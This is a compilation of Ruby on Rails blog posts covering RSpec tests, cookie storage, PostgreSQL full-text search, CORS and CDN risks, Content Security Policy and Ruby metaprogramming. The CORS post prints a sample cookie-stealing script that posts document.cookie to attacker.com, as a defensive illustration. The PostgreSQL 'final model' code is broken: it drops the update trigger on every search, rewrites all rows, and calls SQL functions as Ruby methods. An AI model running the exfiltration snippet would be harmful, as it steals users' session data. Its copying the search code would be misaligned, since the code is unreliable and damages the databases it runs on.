  it "divides positive numbers" do
    expect(calculator.divide(10, 2)).to eq(5)
  end

  it "handles division by zero" do
    expect { calculator.divide(10, 0) }.to raise_error(ZeroDivisionError)
  end

  it "handles negative numbers" do
    expect(calculator.divide(-10, 2)).to eq(-5)
  end

  it "handles float precision" do
    expect(calculator.divide(1, 3)).to be_within(0.001).of(0.333)
  end
end

Rails 7+ Specific Features

Testing with ActionText

RSpec.describe Post, type: :model do
  describe "rich text content" do
    let(:post) { create(:post) }

    it "can store rich text content" do
      post.content = "<p>Hello <strong>world</strong></p>"
      expect(post.content.to_s).to include("Hello")
      expect(post.content.to_s).to include("<strong>world</strong>")
    end
  end
end

Testing with Active Storage

RSpec.describe User, type: :model do
  describe "avatar attachment" do
    let(:user) { create(:user) }
    let(:image) { fixture_file_upload("spec/fixtures/avatar.jpg", "image/jpeg") }

    it "can attach avatar" do
      user.avatar.attach(image)
      expect(user.avatar).to be_attached
      expect(user.avatar.content_type).to eq("image/jpeg")
    end
  end
end

Testing Hotwire/Turbo

RSpec.describe "Todo Management", type: :system do
  it "updates todo via turbo stream" do
    todo = create(:todo, title: "Original Title")

    visit todos_path
    click_link "Edit"
    fill_in "Title", with: "Updated Title"
    click_button "Update"

    expect(page).to have_content("Updated Title")
    expect(page).not_to have_content("Original Title")
    # Verify it was updated via AJAX, not full page reload
    expect(page).not_to have_selector(".flash-message")
  end
end

Configuration and Setup

RSpec Configuration

# spec/rails_helper.rb
RSpec.configure do |config|
  # Database cleaner
  config.use_transactional_fixtures = true

  # Factory Bot
  config.include FactoryBot::Syntax::Methods

  # Custom helpers
  config.include AuthenticationHelpers, type: :request
  config.include ControllerHelpers, type: :controller

  # Filtering
  config.filter_run_when_matching :focus
  config.example_status_persistence_file_path = "spec/examples.txt"

  # Parallel execution
  config.order = :random
  Kernel.srand config.seed
end

Database Cleaner Setup

# spec/rails_helper.rb
require 'database_cleaner/active_record'

RSpec.configure do |config|
  config.before(:suite) do
    DatabaseCleaner.strategy = :transaction
    DatabaseCleaner.clean_with(:truncation)
  end

  config.around(:each) do |example|
    DatabaseCleaner.cleaning do
      example.run
    end
  end
end

This comprehensive guide covers the essential RSpec patterns you’ll use in Rails 7+ applications. The examples shown are based on real-world scenarios and follow current best practices for maintainable, reliable test suites.

Remember: Good tests are documentation for your code – they should clearly express what your application does and how it should behave under different conditions.


The Complete Guide to Cookie Storage in Rails 7: Security, Performance, and Best Practices

Cookies are fundamental to web applications, but choosing the right storage method can make or break your app’s security and performance. Rails 7 offers multiple cookie storage mechanisms, each with distinct security properties and use cases. Let’s explore when to use each approach and why it matters.

The Cookie Storage Spectrum

Rails provides four main cookie storage methods, each offering different levels of security:

# 1. Plain cookies - readable and modifiable by client
cookies[:theme] = 'dark'

# 2. Signed cookies - readable but tamper-proof
cookies.signed[:discount_code] = 'SAVE10'

# 3. Encrypted cookies - hidden and tamper-proof
cookies.encrypted[:user_preferences] = { notifications: true }

# 4. Session storage - server-side with encrypted session cookie
session[:current_user_id] = user.id

1. Plain Cookies: When Transparency is Acceptable

Use for: Non-sensitive data where client-side reading/modification is acceptable or even desired.

# Setting a plain cookie
cookies[:theme] = 'dark'
cookies[:language] = 'en'
cookies[:consent_given] = 'true'

# With expiration
cookies[:temporary_banner_dismissed] = {
  value: 'true',
  expires: 1.day.from_now
}

Security implications:

  • ✅ Fast and simple
  • ❌ Completely readable in browser dev tools
  • ❌ User can modify values freely
  • ❌ No protection against tampering

Best for:

  • UI preferences (theme, language)
  • Non-critical flags (banner dismissal)
  • Data you want JavaScript to access easily

2. Signed Cookies: Tamper-Proof but Visible

Signed cookies prevent modification while remaining readable. Rails uses HMAC-SHA1 with your secret_key_base to create a cryptographic signature.

# Setting signed cookies
cookies.signed[:discount_code] = 'SAVE10'
cookies.signed[:referral_source] = 'google_ads'

# Reading signed cookies
discount = cookies.signed[:discount_code]  # Returns 'SAVE10' or nil if tampered

How it works:

# Rails internally does:
# 1. Create signature: HMAC-SHA1(secret_key_base, 'SAVE10')
# 2. Store: Base64.encode64('SAVE10--signature')
# 3. On read: verify signature matches content

Security implications:

  • ✅ Tamper-proof – modification invalidates the cookie
  • ✅ Prevents privilege escalation attacks
  • ⚠️ Content still visible (Base64 encoded)
  • ❌ Not suitable for truly sensitive data

Real-world example from our codebase:

# lib/session/cookie_discount_accessor.rb
def discount_code
  # Prevents users from changing 'SAVE10' to 'SAVE50' in browser
  @cookies.signed[:discount] && DiscountCode.find_by(name: @cookies.signed[:discount])
end

def set_discount_code(code)
  @cookies.signed[:discount] = {
    value: code.name,
    expires: code.expiration || 30.days.from_now
  }
end

Best for:

  • Discount codes
  • Referral tracking
  • Non-sensitive IDs that shouldn’t be modified
  • Data integrity without confidentiality requirements

3. Encrypted Cookies: Maximum Security

Encrypted cookies are both signed and encrypted, making them unreadable and tamper-proof.

# Setting encrypted cookies
cookies.encrypted[:credit_card_last4] = '4242'
cookies.encrypted[:user_preferences] = {
  notifications: true,
  marketing_emails: false
}

# Reading encrypted cookies
preferences = cookies.encrypted[:user_preferences]

Security implications:

  • ✅ Content completely hidden from client
  • ✅ Tamper-proof
  • ✅ Suitable for sensitive data
  • ⚠️ Slightly higher CPU overhead
  • ⚠️ Size limitations (4KB total per domain)

Best for:

  • Personal information
  • Financial data
  • Complex user preferences
  • Any data you’d store in a database but need client-side

4. Session Storage: Server-Side Security

Rails sessions are encrypted cookies by default, but the data is conceptually server-side.

# Session storage
session[:current_user_id] = user.id
session[:shopping_cart] = cart.to_h
session[:two_factor_verified] = true

# Configuration in config/application.rb
config.session_store :cookie_store, key: '_myapp_session'

Security implications:

  • ✅ Encrypted by default
  • ✅ Automatic expiration handling
  • ✅ CSRF protection integration
  • ⚠️ 4KB size limit
  • ⚠️ Lost on cookie deletion

Best for:

  • User authentication state
  • Shopping carts
  • Multi-step form data
  • Security-sensitive flags

Security Best Practices

1. Choose the Right Storage Method

# ❌ Don't store sensitive data in plain cookies
cookies[:ssn] = '123-45-6789'  # Visible to everyone!

# ✅ Use appropriate security level
cookies.encrypted[:ssn] = '123-45-6789'  # Hidden and protected
session[:user_id] = user.id              # Server-side, encrypted

2. Set Proper Cookie Attributes

# Secure cookies for HTTPS
cookies[:theme] = {
  value: 'dark',
  secure: Rails.env.production?,  # HTTPS only
  httponly: true,                 # No JavaScript access
  samesite: :strict              # CSRF protection
}

3. Handle Cookie Tampering Gracefully

def current_discount_code
  code_name = cookies.signed[:discount]
  return nil unless code_name

  DiscountCode.find_by(name: code_name)&.tap do |code|
    # Remove if expired or invalid
    cookies.delete(:discount) unless code.usable?
  end
end

4. Use Expiration Strategically

# Short-lived sensitive data
cookies.signed[:password_reset_token] = {
  value: token,
  expires: 15.minutes.from_now,
  secure: true,
  httponly: true
}

# Long-lived preferences
cookies.encrypted[:user_preferences] = {
  value: preferences.to_json,
  expires: 1.year.from_now
}

Advanced Patterns

1. Cookie Accessor Classes

Create dedicated classes for complex cookie management:

class Session::CookieDiscountAccessor
  def initialize(cookies)
    @cookies = cookies
  end

  def discount_code
    @cookies.signed[:discount] && DiscountCode.find_by(name: @cookies.signed[:discount])
  end

  def set_discount_code(code)
    @cookies.signed[:discount] = {
      value: code.name,
      expires: code.expiration || 30.days.from_now
    }
  end

  def remove_discount_code
    @cookies.delete(:discount)
  end
end

2. Validation and Cleanup

class Session::CheckAndRemoveDiscountCode
  def initialize(cookies:)
    @accessor = Session::CookieDiscountAccessor.new(cookies)
  end

  def run
    # Remove referral conflicts
    @accessor.referral_code && @accessor.remove_discount_code && return
      
    # Remove expired codes
    discount_code = @accessor.discount_code
    @accessor.remove_discount_code if discount_code && !discount_code.usable?
  end
end

3. Error Handling for Corrupted Cookies

def safe_read_encrypted_cookie(key)
  cookies.encrypted[key]
rescue ActiveSupport::MessageVerifier::InvalidSignature,
       ActiveSupport::MessageEncryptor::InvalidMessage
  # Cookie was corrupted or created with different secret
  cookies.delete(key)
  nil
end

Performance Considerations

Cookie Size Limits

  • Total limit: 4KB per domain
  • Individual limit: ~4KB per cookie
  • Count limit: ~50 cookies per domain

CPU Overhead

# Benchmark different storage methods
require 'benchmark'

Benchmark.bm do |x|
  x.report("plain")     { 1000.times { cookies[:test] = 'value' } }
  x.report("signed")    { 1000.times { cookies.signed[:test] = 'value' } }
  x.report("encrypted") { 1000.times { cookies.encrypted[:test] = 'value' } }
end

# Results (approximate):
#                user     system      total        real
# plain      0.001000   0.000000   0.001000 (  0.001000)
# signed     0.010000   0.000000   0.010000 (  0.009000)
# encrypted  0.050000   0.000000   0.050000 (  0.048000)

Configuration and Security Headers

Session Configuration

# config/application.rb
config.session_store :cookie_store,
  key: '_myapp_session',
  secure: Rails.env.production?,
  httponly: true,
  expire_after: 14.days,
  same_site: :lax

Security Headers

# config/application.rb
config.force_ssl = true  # HTTPS in production

# Use Secure Headers gem
SecureHeaders::Configuration.default do |config|
  config.cookies = {
    secure: true,
    httponly: true,
    samesite: {
      lax: true
    }
  }
end

Testing Cookie Security

# spec/lib/session/coupon_code_spec.rb
RSpec.describe Session::CouponCode do
  describe 'cookie tampering protection' do
    it 'handles corrupted signed cookies gracefully' do
      # Simulate tampered cookie
      cookies.signed[:discount] = 'SAVE10'
      cookies[:discount] = 'tampered_value'  # Direct manipulation

      accessor = Session::CookieDiscountAccessor.new(cookies)
      expect(accessor.discount_code).to be_nil
    end
  end
end

Migration Strategies

Upgrading Cookie Security

def upgrade_cookie_security
  # Read from old plain cookie
  if (old_value = cookies[:legacy_data])
    # Migrate to encrypted
    cookies.encrypted[:legacy_data] = old_value
    cookies.delete(:legacy_data)
  end
end

Handling Secret Key Rotation

# config/credentials.yml.enc
secret_key_base: new_secret
legacy_secret_key_base: old_secret

# In application
def read_with_fallback(key)
  cookies.encrypted[key] || begin
    # Try with old secret
    old_verifier = ActiveSupport::MessageEncryptor.new(
      Rails.application.credentials.legacy_secret_key_base
    )
    old_verifier.decrypt_and_verify(cookies[key])
  rescue
    nil
  end
end

Quick Decision Matrix

Data TypeSensitivityClient Access NeededRecommended Storage
Theme preferencesLowYesPlain cookies
Discount codesMediumNoSigned cookies
User settingsMediumNoEncrypted cookies
AuthenticationHighNoSession
Credit card dataHighNoDatabase + session ID
Shopping cartMediumNoSession or encrypted
CSRF tokensHighLimitedSession (built-in)

Common Pitfalls to Avoid

  1. Don’t mix storage types for the same data
   # ❌ Inconsistent
   cookies[:user_id] = user.id        # Sometimes
   cookies.signed[:user_id] = user.id # Other times

   # ✅ Consistent
   session[:user_id] = user.id        # Always
  1. Don’t store large objects in cookies
   # ❌ Will hit 4KB limit
   cookies.encrypted[:full_user] = user.to_json

   # ✅ Store reference
   session[:user_id] = user.id
  1. Don’t forget expiration
   # ❌ Never expires
   cookies.signed[:temp_token] = token

   # ✅ Proper expiration
   cookies.signed[:temp_token] = {
     value: token,
     expires: 1.hour.from_now
   }

Conclusion

Cookie storage in Rails 7 offers a rich toolkit for different security and performance needs. The key is matching the storage method to your data’s sensitivity and access patterns:

  • Plain cookies for non-sensitive, client-accessible data
  • Signed cookies when you need tamper protection but not confidentiality
  • Encrypted cookies for sensitive data that must remain client-side
  • Session storage for server-side state with automatic encryption

Remember: the best cookie strategy combines appropriate storage methods with proper security headers, validation, and graceful error handling. When in doubt, err on the side of more security rather than less.

The Rails cookie system is designed to make secure defaults easy—take advantage of it to build applications that are both performant and secure.


Rails 8 Application: Implement PostgreSQL search on products

Here’s a concise analysis and solution:

Full-Text Search Strategy

For name column:

  • Recommended: Use a GIN index with pg_trgm extension
  • Benefits:
    • Faster than LIKE/ILIKE
    • Supports partial matches
    • Handles typos with similarity function

For description column:

  • Recommendation: Add a separate searchable column
  • Why?:
    • Text fields can be large
    • Better to index a pre-processed version
    • Consider using tsvector for better performance

Implementation Steps:

  1. First, create a migration to update the indexes:
# db/migrate/[timestamp]_add_search_to_products.rb

class AddSearchToProducts < ActiveRecord::Migration[8.0]
  def change
    # Enable pg_trgm extension for fuzzy matching
    enable_extension 'pg_trgm' unless extension_enabled?('pg_trgm')
    
    # Add a searchable column for description (optional)
    add_column :products, :searchable_description, :tsvector
    add_index :products, :searchable_description, using: :gin

    # Replace the simple index with a GIN index for name
    remove_index :products, name: 'idx_products_name'
    add_index :products, 'name gin_trgm_ops', using: :gin, name: 'index_products_on_name_trgm'
    
    # Optional: Add a generated column for combined search
    execute <<-SQL
      UPDATE products 
      SET searchable_description = to_tsvector('english', coalesce(description, ''));
    SQL
  end
end
  1. In your Product model:
# app/models/product.rb
class Product < ApplicationRecord
  # For name search
  def self.search_by_name(query)
    where("name % ?", query)
      .order("similarity(name, #{ActiveRecord::Base.connection.quote(query)}) DESC")
  end

  # For description search (if needed)
  def self.search_in_description(query)
    where("searchable_description @@ plainto_tsquery('english', :q)", q: query)
  end
end

Usage:

# Search in name (fuzzy matching)
products = Product.search_by_name("laptp")  # Will match "laptop"

# Search in description (exact matching)
products = Product.search_in_description("high performance")

Recommendation:

  1. Start with name-only search – It’s the most common use case
  2. Monitor performance – Check query times with EXPLAIN ANALYZE
  3. Add description search later if needed, using the searchable_description column

Let’s implement a unified search that looks for matches in both name and description. Here’s a streamlined approach using PostgreSQL’s full-text search capabilities:

1. First, create a migration to add search functionality:

# db/migrate/[timestamp]_add_search_to_products.rb
class AddSearchToProducts < ActiveRecord::Migration[8.0]
  def up
    # Enable necessary extensions
    enable_extension 'pg_trgm' unless extension_enabled?('pg_trgm')
    enable_extension 'unaccent' unless extension_enabled?('unaccent')

    # Add a generated column for combined search
    add_column :products, :searchable, :tsvector
    execute <<-SQL
      UPDATE products 
      SET searchable = 
        setweight(to_tsvector('english', coalesce(name, '')), 'A') ||
        setweight(to_tsvector('english', coalesce(description, '')), 'B');
    SQL

    # Create a function to automatically update the searchable column
    execute <<-SQL
      CREATE OR REPLACE FUNCTION products_search_trigger() RETURNS trigger AS $$
      begin
        new.searchable :=
          setweight(to_tsvector('english', coalesce(new.name, '')), 'A') ||
          setweight(to_tsvector('english', coalesce(new.description, '')), 'B');
        return new;
      end
      $$ LANGUAGE plpgsql;
    SQL

    # Create a trigger to update the searchable column
    execute <<-SQL
      CREATE TRIGGER tsvector_update_products BEFORE INSERT OR UPDATE
      ON products FOR EACH ROW EXECUTE FUNCTION products_search_trigger();
    SQL

    # Create a GIN index for the searchable column
    add_index :products, :searchable, using: :gin, name: 'index_products_on_searchable'
  end

  def down
    remove_index :products, name: 'index_products_on_searchable'
    execute 'DROP TRIGGER IF EXISTS tsvector_update_products ON products'
    execute 'DROP FUNCTION IF EXISTS products_search_trigger()'
    remove_column :products, :searchable
  end
end

2. In our Product model, add the search method:

ruby# app/models/product.rb
class Product < ApplicationRecord
  # ... existing code ...

  def self.search_in_name_and_desc(query)
    return all if query.blank?

    # Remove any existing tsvector_update_products trigger to prevent recursion
    connection.execute('DROP TRIGGER IF EXISTS tsvector_update_products ON products')

    # Update the searchable column for all records
    Product.find_each do |product|
      product.update_columns(
        searchable: 
          set_weight(to_tsvector('english', product.name || ' '), 'A') ||
          set_weight(to_tsvector('english', product.description || ' '), 'B')
      )
    end

    # Search using the tsvector column
    where("searchable @@ plainto_tsquery('english', :q)", q: query)
      .order("ts_rank(searchable, plainto_tsquery('english', :q)) DESC", q: query)
  end

  private

  def self.set_weight(vector, weight)
    Arel::Nodes::InfixOperation.new('||', 
      Arel::Nodes::InfixOperation.new('||',
        Arel::Nodes::SqlLiteral.new("setweight("),
        Arel::Nodes::Grouping.new(vector)
      ),
      Arel::Nodes::SqlLiteral.new(",'#{weight}')")
    )
  end
end

3. Usage:

# Basic search (searches both name and description)
results = Product.search_in_name_and_desc("laptop")

# You can chain other scopes
results = Product.in_stock.search_in_name_and_desc("gaming laptop").order(price: :asc)

How It Works:

  1. Weighted Search:
    • Name matches (‘A’ weight) are ranked higher than description matches (‘B’ weight)
    • Full-text search handles word stemming and stop words automatically
  2. Performance:
    • The GIN index on the searchable tsvector column makes searches fast
    • The trigger keeps the searchable column in sync automatically
  3. Features:
    • Handles partial matches
    • Ranks results by relevance
    • Case-insensitive
    • Handles common words and stop words

Test the search:

# Test with different search terms
Product.search_in_name_and_desc("gaming laptop")  # Matches in either name or description

Product.search_in_name_and_desc("gaming -mouse")  # Excludes products with "mouse"

Product.search_in_name_and_desc("gaming OR laptop")  # Either term

This implementation gives you a single, efficient search method that handles both name and description fields with proper ranking and performance characteristics.


What unaccent Does:

The unaccent extension in PostgreSQL is a text search dictionary that removes accents (diacritic signs) from lexemes, making searches accent-insensitive. Here’s why it’s useful:

  1. Normalizes Text: Converts accented characters to their unaccented equivalents
    • Example: café → cafeHéllo → Hello
  2. Improves Search:
    • Without it: Searching for “cafe” won’t match “café”
    • With it: Both “cafe” and “café” will match
  3. Common Use Cases:
    • User search functionality where you want to ignore accents
    • International product catalogs
    • User names or locations with special characters

Example in Our Code:

In your search migration, it ensures that:

  • A search for “resume” will also match “résumé”
  • A search for “cafe” will match “café”
  • “Jalapeño” matches “jalapeno”

How It Works with Your Search:

When combined with pg_trgm, it makes your search more user-friendly by:

  1. Removing accents from both the search term and the stored text
  2. Then performing the similarity comparison

Disabling/Enabling:

  • The extension is enabled only if it’s not already enabled (unless extension_enabled?('unaccent'))
  • It’s safe to keep enabled as it doesn’t affect existing data unless explicitly used

 (PostgreSQL Trigram) extension is specifically designed for fuzzy string matching and searching. Here’s what it does:

Key Features of pg_trgm:

  1. Trigram Matching:
    • Breaks strings into groups of 3 consecutive characters
    • Example: “hello” → [” h”, ” he”, “hel”, “ell”, “llo”, “lo “, “o “]
    • Uses these trigrams to find similar strings
  2. Fuzzy Search Capabilities:
    • Finds matches even with typos or slight misspellings
    • Ranks results by similarity
    • Works well for “did you mean?” type suggestions
  3. Common Operators:
    • % – Similarity operator (returns true if strings are similar)
    • <-> – Distance operator (returns a distance metric)
    • %> – Word similarity (best match of any word in the search)

In Our Implementation:

# This uses pg_trgm's similarity matching
where("name % ?", search_term)
  .order("similarity(name, #{ActiveRecord::Base.connection.quote(search_term)}) DESC")

Example Searches:

# Finds "Samsung" even if spelled "Samsng" or "Samsing"
Product.where("name % ?", "Samsng")

# Ranks "iPhone 13" higher than "iPhone 12" when searching for "iPhone 13 Pro"
Product.where("name % ?", "iPhone 13 Pro").order("name <-> 'iPhone 13 Pro'")

Benefits in Our Case:

  1. Typo Tolerance: Users can make small mistakes and still find products
  2. Partial Matches: Finds “phone” in “smartphone”
  3. Ranked Results: More relevant matches appear first

The combination of pg_trgm with unaccent (which handles accents) gives you robust, user-friendly search capabilities right in the database.

Final model and migration

Product Model:

class Product < ApplicationRecord
  has_many :order_items, dependent: :destroy
  has_many :orders, through: :order_items

  validates :name, presence: true
  validates :price, presence: true, numericality: { greater_than: 0 }
  validates :stock, presence: true, numericality: { greater_than_or_equal_to: 0 }

  # Search across both name and description
  # @param query [String] search term
  # @return [ActiveRecord::Relation] matching products ordered by relevance
  def self.search_in_name_and_desc(query)
    return all if query.blank?

    # Remove any existing tsvector_update_products trigger to prevent recursion
    connection.execute('DROP TRIGGER IF EXISTS tsvector_update_products ON products')

    # Update the searchable column for all records
    Product.find_each do |product|
      product.update_columns(
        searchable: 
          set_weight(to_tsvector('english', product.name || ' '), 'A') ||
          set_weight(to_tsvector('english', product.description || ' '), 'B')
      )
    end

    # Search using the tsvector column
    where("searchable @@ plainto_tsquery('english', :q)", q: query)
      .order("ts_rank(searchable, plainto_tsquery('english', :q)) DESC", q: query)
  end

  # Helper method to set weight for tsvector
  def self.set_weight(vector, weight)
    Arel::Nodes::InfixOperation.new('||', 
      Arel::Nodes::InfixOperation.new('||',
        Arel::Nodes::SqlLiteral.new("setweight("),
        Arel::Nodes::Grouping.new(vector)
      ),
      Arel::Nodes::SqlLiteral.new(",'#{weight}')")
    )
  end
  private_class_method :set_weight
end

Product Migration:

class AddSearchableToProducts < ActiveRecord::Migration[8.0]
  def up
    # Enable necessary extensions
    enable_extension 'pg_trgm' unless extension_enabled?('pg_trgm')
    enable_extension 'unaccent' unless extension_enabled?('unaccent')

    # Add searchable column
    add_column :products, :searchable, :tsvector

    # Create a function to update the searchable column
    execute <<-SQL
      CREATE OR REPLACE FUNCTION products_search_trigger() RETURNS trigger AS $$
      begin
        new.searchable :=
          setweight(to_tsvector('english', coalesce(new.name, '')), 'A') ||
          setweight(to_tsvector('english', coalesce(new.description, '')), 'B');
        return new;
      end
      $$ LANGUAGE plpgsql;
    SQL

    # Create a trigger to update the searchable column
    execute <<-SQL
      CREATE TRIGGER tsvector_update_products
      BEFORE INSERT OR UPDATE ON products
      FOR EACH ROW EXECUTE FUNCTION products_search_trigger();
    SQL

    # Update existing records
    Product.find_each(&:touch)

    # Create GIN index for the searchable column
    add_index :products, :searchable, using: :gin, name: 'gin_idx_products_on_searchable'
  end

  def down
    remove_index :products, name: 'gin_idx_products_on_searchable'
    execute 'DROP TRIGGER IF EXISTS tsvector_update_products ON products'
    execute 'DROP FUNCTION IF EXISTS products_search_trigger()'
    remove_column :products, :searchable
  end
end


Happy Coding!

🌐 Why CORS Doesn’t Protect You from Malicious CDNs (and How to Stay Safe) | Content Security Policy (CSP)

🔍 Introduction

Developers often assume CORS (Cross-Origin Resource Sharing) protects their websites from all cross-origin risks. However, while CORS effectively controls data access via APIs, it does NOT stop risks from external scripts like those served via a CDN (Content Delivery Network).

This blog explains:

  • Why CORS and CDN behave differently
  • Why external scripts can compromise your site
  • Best practices to secure your app

🤔 What Does CORS Actually Do?

CORS is a browser-enforced security mechanism that prevents JavaScript from reading responses from another origin unless explicitly allowed.

Example:

// Your site: https://example.com
fetch('https://api.example2.com/data') // blocked unless API sets CORS headers

If api.example2.com does not send:

Access-Control-Allow-Origin: https://example.com

The browser blocks the response.

Why?

To prevent cross-site data theft.


🧐 Why CDN Scripts Load Without CORS?

When you include a script via <script> or CSS via <link>:

<script src="https://cdn.com/lib.js"></script>
<link rel="stylesheet" href="https://cdn.com/styles.css" />

These resources are fetched and executed without CORS checks because:

  • They are treated as subresources, not API data.
  • The browser doesn’t expose raw content to JavaScript; it just executes it.

⚠️ But Here’s the Risk:

The included script runs with full privileges in your page context!

  • Can modify DOM
  • Access non-HttpOnly cookies
  • Exfiltrate data to a malicious server

💯 Real-World Attack Scenarios

  1. Compromised CDN:
    If https://cdn.com/lib.js is hacked, every site using it is compromised.
  2. Man-in-the-Middle Attack:
    If CDN uses HTTP instead of HTTPS, an attacker can inject malicious code.

Example Attack:

// Injected malicious script in compromised CDN
fetch('https://attacker.com/steal', {
  method: 'POST',
  body: JSON.stringify({ cookies: document.cookie })
});


🧐 Why CORS Doesn’t Help Here

  • CORS only applies to fetch/XHR made by your JavaScript.
  • A <script> tag is not subject to CORS; the browser assumes you trust that script.

❓How to Secure Your Site

1. Always Use HTTPS

Avoid HTTP CDN URLs. Example:
https://cdn.jsdelivr.net/...
http://cdn.jsdelivr.net/...

2. Use Subresource Integrity (SRI)

Ensure the script hasn’t been tampered with:

<script src="https://cdn.com/lib.js"
        integrity="sha384-abc123xyz"
        crossorigin="anonymous"></script>

If the hash doesn’t match, the browser blocks it.

3. Self-Host Critical Scripts

Host important libraries locally instead of depending on external CDNs.

4. Set Content Security Policy (CSP)

Restrict allowed script sources:

Content-Security-Policy: script-src 'self' https://cdn.com;


Diagram: Why CORS ≠ CDN Protection

Conclusion

  • CORS protects API calls, not scripts.
  • External scripts are powerful and dangerous if compromised.
  • Use HTTPS, SRI, CSP, and self-hosting for maximum safety.

🔐 Content Security Policy (CSP) – The Complete Guide for Web Security

🔍 Introduction

Even if you secure your API with CORS and validate CDN scripts with SRI, there’s still a risk of inline scripts, XSS (Cross-Site Scripting), and malicious script injections. That’s where Content Security Policy (CSP) comes in.

CSP is a powerful HTTP header that tells the browser which resources are allowed to load and execute.

🧐 Why CSP?

  • Blocks inline scripts and unauthorized external resources.
  • Reduces XSS attacks by whitelisting script origins.
  • Adds an extra layer beyond CORS and HTTPS.

How CSP Works

The server sends a Content-Security-Policy header, defining allowed resource sources.

Example:

Content-Security-Policy: script-src 'self' https://cdn.example.com;

This means:

  • Only load scripts from current origin (self) and cdn.example.com.
  • Block everything else.

Common CSP Directives

DirectivePurpose
default-srcDefault policy for all resources
script-srcAllowed sources for JavaScript
style-srcAllowed CSS sources
img-srcAllowed image sources
font-srcFonts sources
connect-srcAllowed AJAX/WebSocket endpoints

Example 1: Strict CSP for Rails App

In Rails, set CSP in config/initializers/content_security_policy.rb:

Rails.application.config.content_security_policy do |policy|
  policy.default_src :self
  policy.script_src :self, 'https://cdn.jsdelivr.net'
  policy.style_src  :self, 'https://cdn.jsdelivr.net'
  policy.img_src    :self, :data
  policy.connect_src :self, 'https://api.example.com'
end

Enable CSP in response headers:

Rails.application.config.content_security_policy_report_only = false

Example 2: CSP in React + Vite App

If deploying via Nginx, add in nginx.conf:

add_header Content-Security-Policy "default-src 'self'; script-src 'self' https://cdn.jsdelivr.net; style-src 'self' https://cdn.jsdelivr.net; connect-src 'self' https://api.example.com";

For Netlify or Vercel, add in _headers file:

/*
  Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.jsdelivr.net; style-src 'self' https://cdn.jsdelivr.net; connect-src 'self' https://api.example.com


✋ Prevent Inline Script Issues

By default, CSP blocks inline scripts. To allow, you can:

  • Use hash-based CSP:
Content-Security-Policy: script-src 'self' 'sha256-AbCdEf...';

  • Or nonce-based CSP (preferred for dynamic scripts):
Content-Security-Policy: script-src 'self' 'nonce-abc123';

Add nonce dynamically in Rails views:

<script nonce="<%= content_security_policy_nonce %>">alert('Safe');</script>

CSP Reporting

Enable Report-Only mode first:

Content-Security-Policy-Report-Only: script-src 'self'; report-uri /csp-violation-report

This logs violations without blocking, so you can test before enforcement.

Visual Overview

Conclusion

CSP + HTTPS + SRI = Strong Defense Against XSS and Injection Attacks.


Ruby Meta-programming: Understanding class_eval, instance_eval, eval, define_method, and method_missing

🔍 Introduction

Ruby’s meta-programming capabilities let you write code that writes code, opening doors to DSLs (Check my post on DSL), dynamic behaviours, and DRY abstractions. In this two-part series, we’ll explore:

  • Part 1: class_eval, instance_eval, eval, define_method, and method_missing
  • Part 2: Additional metaprogramming methods like define_singleton_method, module_eval, send, and more

🏷️ Part 1: Core Metaprogramming Methods

🔨 1. What is class_eval?

class_eval is a method that allows you to evaluate a block of code or a string within the context of a class. It’s part of Ruby’s metaprogramming toolkit and is inherited from the Module class.

Basic Syntax

class MyClass
  # class definition
end

MyClass.class_eval do
  # code executed in the context of MyClass
  def new_method
    puts "Hello from class_eval!"
  end
end

Key Features

1. Context Execution

The code inside class_eval is executed as if it were written directly inside the class definition:

class Example
  def existing_method
    puts "I exist"
  end
end

Example.class_eval do
  def dynamic_method
    puts "I was added dynamically!"
  end
end

# Now you can use the new method
obj = Example.new
obj.dynamic_method  # => "I was added dynamically!"

2. String Evaluation

You can also pass a string instead of a block:

class MyClass
end

MyClass.class_eval("def hello; puts 'Hello!'; end")

3. Access to Class Variables and Constants

The evaluated code has access to the class’s variables and constants:

class Calculator
  OPERATIONS = [:add, :subtract, :multiply, :divide]
end

Calculator.class_eval do
  OPERATIONS.each do |op|
    define_method(op) do |a, b|
      case op
      when :add then a + b
      when :subtract then a - b
      when :multiply then a * b
      when :divide then a / b
      end
    end
  end
end

Common Use Cases

1. Dynamic Method Creation

class User
  attr_accessor :name, :email
end

# Dynamically add validation methods
User.class_eval do
  [:name, :email].each do |field|
    define_method("validate_#{field}") do
      !send(field).nil? && !send(field).empty?
    end
  end
end

2. Plugin Systems

class Plugin
  def self.register(plugin_name, &block)
    class_eval(&block)
  end
end

Plugin.register(:logger) do
  def log(message)
    puts "[LOG] #{message}"
  end
end

3. Configuration DSLs

class Config
  def self.configure(&block)
    class_eval(&block)
  end
end

Config.configure do
  def database_url
    "postgresql://localhost/myapp"
  end

  def api_key
    ENV['API_KEY']
  end
end

Differences from instance_eval

  • class_eval: Executes code in the context of the class (like being inside the class definition)
  • instance_eval: Executes code in the context of an instance of the class
class Example
  def self.class_method
    puts "I'm a class method"
  end

  def instance_method
    puts "I'm an instance method"
  end
end

# class_eval - can define class methods
Example.class_eval do
  def self.new_class_method
    puts "New class method"
  end
end

# instance_eval - can define instance methods
Example.instance_eval do
  def new_instance_method
    puts "New instance method"
  end
end

Security Considerations

⚠️ Warning: Using class_eval with user input can be dangerous:

# DANGEROUS - don't do this with user input
user_code = gets.chomp
MyClass.class_eval(user_code)  # Could execute malicious code

Performance Notes

  • class_eval with blocks is generally faster than with strings
  • The block version is also safer and more readable
  • Use string evaluation only when you need to evaluate dynamic code

Real-World Example

Here’s how you might use class_eval in a practical scenario:

class ActiveRecord
  def self.has_many(association_name)
    class_eval do
      define_method(association_name) do
        # Implementation for has_many association
        puts "Fetching #{association_name} for #{self.class}"
      end
    end
  end
end

class User < ActiveRecord
  has_many :posts
end

user = User.new
user.posts  # => "Fetching posts for User"

class_eval is a powerful tool for meta-programming in Ruby, allowing you to dynamically modify classes at runtime. It’s commonly used in frameworks like Rails for creating DSLs and dynamic method generation.


🛠️ 2. What is instance_eval?

instance_eval is a method that allows you to evaluate a block of code or a string within the context of a specific object instance. It’s inherited from the BasicObject class and is available on all Ruby objects.

Basic Syntax

class MyClass
  def initialize(name)
    @name = name
  end
end

obj = MyClass.new("Alice")

obj.instance_eval do
  # code executed in the context of this specific object
  puts @name  # Can access instance variables
end

Key Features

1. Instance Context Execution

The code inside instance_eval is executed as if it were an instance method of the object:

class Person
  def initialize(name, age)
    @name = name
    @age = age
  end

  def introduce
    puts "Hi, I'm #{@name}"
  end
end

person = Person.new("Bob", 30)

person.instance_eval do
  puts "Name: #{@name}"      # => "Name: Bob"
  puts "Age: #{@age}"        # => "Age: 30"
  introduce                  # => "Hi, I'm Bob"
end

2. Access to Instance Variables
